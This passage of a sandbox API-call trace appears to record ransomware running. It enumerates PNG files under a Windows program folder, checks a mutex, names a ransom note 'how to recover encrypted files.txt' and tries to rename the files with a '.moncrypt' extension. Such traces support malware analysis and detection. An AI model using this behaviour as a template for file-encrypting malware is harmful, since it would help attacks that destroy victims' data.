cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png", cchWideChar=85, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 85 [0058.247] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Push\\NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.247] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.247] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.247] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.247] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.247] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.248] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png.moncrypt")) returned 0 [0058.248] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0058.248] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.248] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.248] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.248] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.248] GlobalUnlock (hMem=0x44000c) returned 0 [0058.249] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.249] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.249] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.249] GlobalUnlock (hMem=0x44000c) returned 0 [0058.249] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.249] GlobalUnlock (hMem=0x440004) returned 0 [0058.249] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.249] CharLowerBuffW (in: lpsz="push.png", cchLength=0x8 | out: lpsz="push.png") returned 0x8 [0058.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.249] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png", cchWideChar=57, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png", lpUsedDefaultChar=0x0) returned 57 [0058.249] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Push\\push.png", lpUsedDefaultChar=0x0) returned 4 [0058.250] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 0x54e280 [0058.250] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.250] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.250] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.250] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png", dwFileAttributes=0x20) returned 0 [0058.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.251] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png.moncrypt")) returned 0 [0058.251] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0058.251] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.251] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.251] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.251] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.251] GlobalUnlock (hMem=0x440004) returned 0 [0058.251] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.251] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.251] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.251] GlobalUnlock (hMem=0x440004) returned 0 [0058.251] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.251] GlobalUnlock (hMem=0x44000c) returned 0 [0058.251] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.252] CharLowerBuffW (in: lpsz="pushplaysubpicture.png", cchLength=0x16 | out: lpsz="pushplaysubpicture.png") returned 0x16 [0058.252] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.252] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.252] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.252] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.252] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png", dwFileAttributes=0x20) returned 0 [0058.253] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.253] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png.moncrypt")) returned 0 [0058.253] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.253] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.253] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.253] GlobalUnlock (hMem=0x44000c) returned 0 [0058.253] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.253] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.253] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.253] GlobalUnlock (hMem=0x44000c) returned 0 [0058.253] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.253] GlobalUnlock (hMem=0x440004) returned 0 [0058.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43e58400, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43e58400, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.254] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.254] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.254] GlobalLock (hMem=0x440004) returned 0x550170 [0058.254] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.254] GlobalUnlock (hMem=0x440004) returned 0 [0058.254] GlobalLock (hMem=0x440004) returned 0x550170 [0058.254] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.254] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.254] GlobalUnlock (hMem=0x440004) returned 0 [0058.254] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.254] GlobalUnlock (hMem=0x44000c) returned 0 [0058.254] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.254] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43e58400, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43e58400, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.254] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.254] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.254] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.254] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.254] GlobalUnlock (hMem=0x44000c) returned 0 [0058.254] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.254] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.254] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.254] GlobalUnlock (hMem=0x44000c) returned 0 [0058.254] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.254] GlobalUnlock (hMem=0x440004) returned 0 [0058.254] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.255] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.255] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.255] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.255] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.255] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.255] GlobalUnlock (hMem=0x440004) returned 0 [0058.255] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.255] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.255] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.255] GlobalUnlock (hMem=0x440004) returned 0 [0058.255] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.255] GlobalUnlock (hMem=0x44000c) returned 0 [0058.255] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.255] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0058.255] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.255] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.255] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.255] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.255] GlobalUnlock (hMem=0x44000c) returned 0 [0058.255] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.255] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.255] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.255] GlobalUnlock (hMem=0x44000c) returned 0 [0058.255] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.255] GlobalUnlock (hMem=0x440004) returned 0 [0058.255] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.255] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.256] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.256] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.256] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.256] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.256] GlobalUnlock (hMem=0x440004) returned 0 [0058.256] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.256] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.256] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.256] GlobalUnlock (hMem=0x440004) returned 0 [0058.256] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.256] GlobalUnlock (hMem=0x44000c) returned 0 [0058.256] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.256] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.256] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.256] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.256] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.256] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.256] GlobalUnlock (hMem=0x44000c) returned 0 [0058.256] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.256] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.256] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.256] GlobalUnlock (hMem=0x44000c) returned 0 [0058.256] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.256] GlobalUnlock (hMem=0x440004) returned 0 [0058.256] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.256] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: 